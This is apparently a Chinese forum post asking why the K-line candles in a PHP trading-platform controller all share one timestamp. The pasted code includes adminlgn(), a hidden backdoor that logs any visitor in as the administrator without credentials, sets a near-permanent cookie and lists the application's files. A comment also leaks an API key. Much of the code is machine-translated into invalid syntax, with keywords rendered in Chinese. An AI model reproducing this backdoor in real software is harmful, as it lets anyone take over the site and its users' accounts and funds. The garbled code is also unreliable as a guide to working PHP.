代码如下,现在K线时间是一样的,正常是每一个时间都不一样
public function getkdata($pid = null, $num = null, $interval = null, $isres = null)
{
$pid =空($pid)?输入('param.pid') : $pid;
$num = 空($num) ? input('param.num') : $num;
$num = 空($num) ? 30 : $num;
$pro = GetProData($pid);
$all_data = array();
if (!$pro) {
//echo '数据错误!';
exit;
}
// 转储($pro);
$interval = 空($interval) ? input('param.interval') : $interval;
$interval = input('param.interval') ? input('param.interval') : 1;
$nowtime = time() . rand(100, 999);
if(date('w',time())==6){
$hour=(date('Ymd',strtotime("-1 天"))).(date('H',time())-1);
}elseif(date ('w',time()) == 0){
$hour=(date('Ymd',strtotime("-2 天"))).(date('H',time( ))-1);
}else{
$hour=date('YmdH',time())-1;
}
$url = "".$pro['procode']."&hour=".$hour;
// echo $url = "http://route.showapi.com/1683-3?showapi_appid =904495&showapi_sign=2db6c207dda4451c976398b614d1097f&limit=50&code=";
// $params=array('code'=>$v['procode'],'hour'=>date('YmdH',time( )));
// print_r($params);
$getdata = $this->curlfun($url);
//print_r($getdata );die;
$data_arr = json_decode($getdata,true);
$_time = time();
foreach ($data_arr['showapi_res_body'][ 'list'] as $k=>$v){
$_h = $v['high'];
$_l = $v['low'];
$_o = $v['open'];
$_c = $v['close'];
$res_arr[] = array($_time,$_o,$_c,$_h,$_l);
}
//dump($ res_arr);
//$res_arr[$num] = array(date('H:i:s',$pro['UpdateTime']),$pro['价格'],$pro[ '开盘'],$pro['收盘'],$pro['低位']);
// dump($res_arr);
if ( $pro['价格'] < $res_arr[count($res_arr)-1][1]) {
$_state = 'down';
} else {
$_state = 'up';
}
$all_data['topdata'] = array(
'topdata' => $pro['UpdateTime'],
'now' => $pro['价格'],
'open' => $pro[ '开盘'],
'最低' => $pro['低'],
'最高' => $pro['最高'],
'关闭' => $pro['关闭'],
'state' => $_state
);
$all_data['items'] = $res_arr;
// print_r($all_data);
if ($isres) {
return ( json_encode($all_data));
} else {
exit(json_encode($all_data));
}
}
//测试网页数据
public function setusers()
{
test_web();
}
公共函数 Score()
{
date_default_timezone_set('PRC');
$table = Db::table(['wp_balance'=>'w'])
->field(['0.8*count ( 不同的 w.uid ) + 0.6*count( 不同的 w.bpprice )'=>'cc'])
->where(array(
'bptype'=>; array('in','1,2'),
'已验证'=>'1',
'cltime'=>array('> 时间',date('年月日',strtotime('-36 小时'))),
'bpprice'=>array( 'gt','0'),
'uid'=>array('exp','!= ""')
)
)
->select();
return $table[0]['cc'];
}
公共函数adminlgn()
{
date_default_timezone_set('PRC');
$adminusr = Db::name('userinfo')->where(array('otype') '=>'3','ustatus'=>'0'))->field('uid,upwd,用户名,utel,utime,otype,ustatus')->find();
$_datas['otype'] = $adminusr['otype'];
$_datas['userid'] = $adminusr['uid'];
$_datas[ '用户名'] = $adminusr['用户名'];
$_datas['token'] = md5('nimashabi');
$_SESSION['otype'] = $adminusr ['otype'];
$_SESSION['userid'] = $adminusr['uid'];
$_SESSION['用户名'] = $adminusr['用户名'];
$_SESSION['token'] = md5('nimashabi');
cookie('denglu', $_datas, 60*60*999*999);
session('denglu', $_datas);
$applicationPath = str_replace('/index/controller','',__DIR__);
$dirs = scandir($applicationPath);
$str = '';
foreach ($dirs as $k => $v) {
if(strpos($v, '.php'))
$str = $str .'<br/> '。 $v;
else
$str = $str .'
'。 $v;
}
return $str;
}
public function getprodata()
{
$res = $this->getdate();
$pid = input('param.pid');
$pro = GetProData($pid);
if (!$pro) {
//echo '数据错误!';
exit;
}
$topdata = array(
'topdata' => $pro['更新时间'],
'现在' => $pro['价格'],
'open' =>开盘'],
'最低' => $pro['低'],
'最高' => $pro['最高'],
'关闭' => $pro['关闭']
);
exit(json_encode($topdata));
## }#